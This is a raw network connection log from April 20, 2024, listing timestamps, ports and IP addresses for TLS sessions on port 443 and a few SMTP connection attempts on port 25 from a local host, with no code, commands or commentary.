Apr 20, 2024 06:47:59.328480005 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.328490973 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.328520060 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.328551054 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.328722000 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.328762054 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.328794956 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.328807116 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.328834057 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.328855038 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.328958988 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.328999996 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.329029083 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.329046011 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.329070091 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.329101086 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.329221010 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.329260111 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.329289913 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.329302073 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.329329014 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.329365015 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.329480886 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.329521894 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.329555988 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.329572916 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.329597950 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.329623938 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.329788923 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.329840899 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.329879045 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.329890966 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.329916000 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.329946041 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.329998016 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.330040932 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.330074072 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.330091000 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.330112934 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.330147982 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.330302954 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.330347061 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.330384970 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.330399036 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.330425024 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.330442905 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.330564976 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.330604076 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.330661058 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.330678940 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.330702066 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.330755949 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.330827951 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.330867052 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.330909014 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.330925941 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.330949068 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.330991983 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.331075907 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.331115961 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.331155062 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.331166983 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.331196070 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.331232071 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.758683920 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.758708954 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.758750916 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.758899927 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.758899927 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.758965969 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759016037 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759052992 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759069920 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759108067 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759109020 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759135008 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759147882 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759177923 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759246111 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759289980 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759308100 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759322882 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759356976 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759407043 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759443998 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759557962 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759602070 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759634972 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759634972 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759634972 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759701014 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759754896 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759757996 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759757996 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759783030 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759819984 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759845972 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759845972 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759879112 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759915113 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759938955 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.759943962 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759967089 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.759996891 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760010004 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760021925 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760035038 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760065079 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760087013 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760190964 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760231972 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760267973 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760287046 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760338068 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760338068 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760360003 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760397911 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760412931 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760426044 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760457039 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760477066 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760509968 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760548115 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760570049 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760587931 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760615110 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760615110 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760641098 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760662079 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760706902 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760729074 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760741949 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760767937 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760791063 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760829926 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760869980 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760895014 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760906935 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.760935068 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760957003 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.760978937 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761020899 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761043072 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761054993 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761084080 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761106014 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761132956 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761173010 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761194944 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761207104 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761234999 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761256933 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761290073 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761342049 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761365891 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761384964 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761409044 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761428118 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761464119 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761506081 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761528969 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761540890 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761590958 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761590958 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761630058 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761672020 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761697054 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761714935 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761739969 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761759996 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761802912 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761857986 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761872053 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761884928 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.761913061 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761934996 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.761981010 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762023926 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762048960 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762065887 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762088060 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762109995 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762145996 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762187958 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762212038 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762223959 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762250900 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762273073 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762314081 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762351990 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762375116 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762387037 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762415886 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762439966 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762470007 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762510061 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762525082 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762537956 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762568951 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762590885 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762631893 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762671947 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762701035 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762717962 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762747049 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762768030 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762793064 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762833118 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762856960 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762870073 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762901068 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762923002 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.762948990 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.762986898 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763009071 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763020992 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763050079 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763071060 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763103962 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763144970 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763168097 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763180017 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763211012 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763233900 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763263941 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763302088 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763323069 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763335943 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763362885 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763384104 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763411999 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763449907 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763463974 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763475895 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763500929 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763521910 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763571978 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763613939 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763637066 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763657093 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763684034 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763705015 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763756990 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763808966 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763834000 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763864994 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763891935 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763912916 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.763931990 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763972998 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.763997078 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764009953 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764034033 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764055967 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764096975 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764172077 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764175892 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764194965 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764231920 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764254093 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764317036 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764355898 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764378071 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764390945 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764419079 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764440060 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764476061 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764518023 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764539957 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764552116 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764578104 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764600039 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764636993 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764679909 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764700890 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764714003 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764741898 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764763117 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764797926 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764837027 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764858007 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764869928 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764904022 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764904022 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.764954090 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.764993906 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.765012026 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.765024900 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.765053034 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.765074015 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.765115023 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.765153885 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.765177011 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.765188932 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.765223980 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.765223980 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.765245914 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.765285015 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.765311003 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.765327930 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.765352011 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.765369892 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.940615892 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.940677881 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.940821886 CEST	443	49731	193.222.96.147	192.168.2.4
Apr 20, 2024 06:47:59.940877914 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.940877914 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.940877914 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:47:59.941509962 CEST	49731	443	192.168.2.4	193.222.96.147
Apr 20, 2024 06:48:00.903172970 CEST	49732	443	192.168.2.4	172.67.74.152
Apr 20, 2024 06:48:00.903270960 CEST	443	49732	172.67.74.152	192.168.2.4
Apr 20, 2024 06:48:00.903367043 CEST	49732	443	192.168.2.4	172.67.74.152
Apr 20, 2024 06:48:00.910633087 CEST	49732	443	192.168.2.4	172.67.74.152
Apr 20, 2024 06:48:00.910676003 CEST	443	49732	172.67.74.152	192.168.2.4
Apr 20, 2024 06:48:01.142287970 CEST	443	49732	172.67.74.152	192.168.2.4
Apr 20, 2024 06:48:01.142381907 CEST	49732	443	192.168.2.4	172.67.74.152
Apr 20, 2024 06:48:01.145586014 CEST	49732	443	192.168.2.4	172.67.74.152
Apr 20, 2024 06:48:01.145611048 CEST	443	49732	172.67.74.152	192.168.2.4
Apr 20, 2024 06:48:01.146022081 CEST	443	49732	172.67.74.152	192.168.2.4
Apr 20, 2024 06:48:01.175615072 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 20, 2024 06:48:01.191215038 CEST	49732	443	192.168.2.4	172.67.74.152
Apr 20, 2024 06:48:01.229337931 CEST	49732	443	192.168.2.4	172.67.74.152
Apr 20, 2024 06:48:01.272161007 CEST	443	49732	172.67.74.152	192.168.2.4
Apr 20, 2024 06:48:01.439193010 CEST	443	49732	172.67.74.152	192.168.2.4
Apr 20, 2024 06:48:01.439335108 CEST	443	49732	172.67.74.152	192.168.2.4
Apr 20, 2024 06:48:01.439395905 CEST	49732	443	192.168.2.4	172.67.74.152
Apr 20, 2024 06:48:01.445903063 CEST	49732	443	192.168.2.4	172.67.74.152
Apr 20, 2024 06:48:02.223037958 CEST	49734	25	192.168.2.4	46.175.148.58
Apr 20, 2024 06:48:03.222487926 CEST	49734	25	192.168.2.4	46.175.148.58
Apr 20, 2024 06:48:05.222495079 CEST	49734	25	192.168.2.4	46.175.148.58
Apr 20, 2024 06:48:09.238219976 CEST	49734	25	192.168.2.4	46.175.148.58
Apr 20, 2024 06:48:17.238122940 CEST	49734	25	192.168.2.4	46.175.148.58
Apr 20, 2024 06:49:04.238624096 CEST	49724	80	192.168.2.4	23.53.13.32
